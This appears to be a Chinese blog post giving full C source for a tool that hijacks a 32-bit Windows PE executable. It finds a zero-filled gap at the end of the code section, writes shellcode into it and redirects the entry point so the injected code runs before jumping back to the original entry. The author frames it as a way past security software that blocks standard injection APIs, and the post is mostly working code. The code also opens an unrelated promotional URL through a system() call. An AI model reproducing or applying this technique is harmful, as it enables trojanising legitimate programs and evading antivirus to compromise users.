劫持 PE 文件:搜索空间缝隙并插入ShellCode

发布时间 2024-01-06 16:27:38作者: Rainbow_Technology

因近期项目需要弄一款注入型的程序,但多次尝试后发现传统的API都会被安全软件拦截,比如 CreateRemoteThread、SetWindowHookEx、APC、GetThreadContext、SetThreadContext,甚至 NtCreateThreadEx 也是如此,也有试想过用驱动,但是奈何没有数字签名 :(

经过无数次失败后,在查阅资料时无意中发现了一篇文章启发了我,然后开始尝试。

将 ShellCode 放入变量中,然后修改插入可执行文件名称,运行后即可将shellCode插入到EXE中,并设置好装载地址,程序运行后会先上线,然后在执行原始的代码

1、首先计算出 ShellCode 的实际大小,然后将文件指针移动到目标程序文件末尾,从文件末尾开始循环查找,找到符合大小的空隙,并开始插入我们预先准备好的 ShellCode 代码。

	PIMAGE_SECTION_HEADER pSec = 
    (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
	DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
	LPVOID lp = malloc(sizeof(shellcode));
	memset(lp, 0, sizeof(shellcode));
	while (dwAddr > pSec->Misc.VirtualSize)
	{
		int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
		if (nRet == 0)
			return dwAddr;
		dwAddr--;
	}
	free(lp);

2、当插入完成后,将程序的OEP地址设置为ShellCode执行地址。

pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

3、执行结束后,再跳回原区段继续执行源代码,从而实现插入恶意代码的目的。

该案例目前只适用于32位EXE,生成的ShellCode也必须为32位。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>
 
// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
 
// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳过可选头长度的数据
  PIMAGE_SECTION_HEADER pSec = 
  (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
 
  // 获取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
 
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
 
  LPVOID lp = malloc(sizeof(shellcode));
 
  memset(lp, 0, sizeof(shellcode));
 
  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
 
  free(lp);
 
  return 0;
}
 
int main(int argc, char* argv[])
{
    HANDLE hFile, hMap = NULL;
    LPVOID lpBase = NULL;
 
    // 设置你的程序
    hFile = CreateFile("D:\\Wmplayer.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
    lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
 
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
    PIMAGE_NT_HEADERS pNtHeader = NULL;
    PIMAGE_SECTION_HEADER pSec = NULL;
    IMAGE_SECTION_HEADER imgSec = { 0 };
 
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("[-] 非 PE 文件 \n");
        return -1;
    }
 
    pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
 
    // 查找空余字节
    DWORD dwAddr = FindSpace(lpBase, pNtHeader);
    printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);
 
    // 获取到原入口地址
    DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
 
    // \xb8 => 填充的就是原始程序的OEP
    *(DWORD *)&shellcode[5] = dwOep;
 
    printf("[-] 原始入口地址: 0x%08X \n", dwOep);
 
    // 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
    memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
    dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
 
    printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);
 
    // 将新的入口地址,赋值给原始程序的地址上
    pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
 
    printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);
 
    UnmapViewOfFile(lpBase);
 
    CloseHandle(hMap);
    CloseHandle(hFile);
 
    system("start https://www.chwm.vip/?inject");
	system("pause");
 
	return 0;
}

该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的空间缝隙后便返回首地址。

dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的 \xff\xe0\x00 部分,最后将当前EIP指针设置为ShellCode所在位置,通过 pNtHeader->OptionalHeader.AddressOfEntryPoint 赋值设置此变量。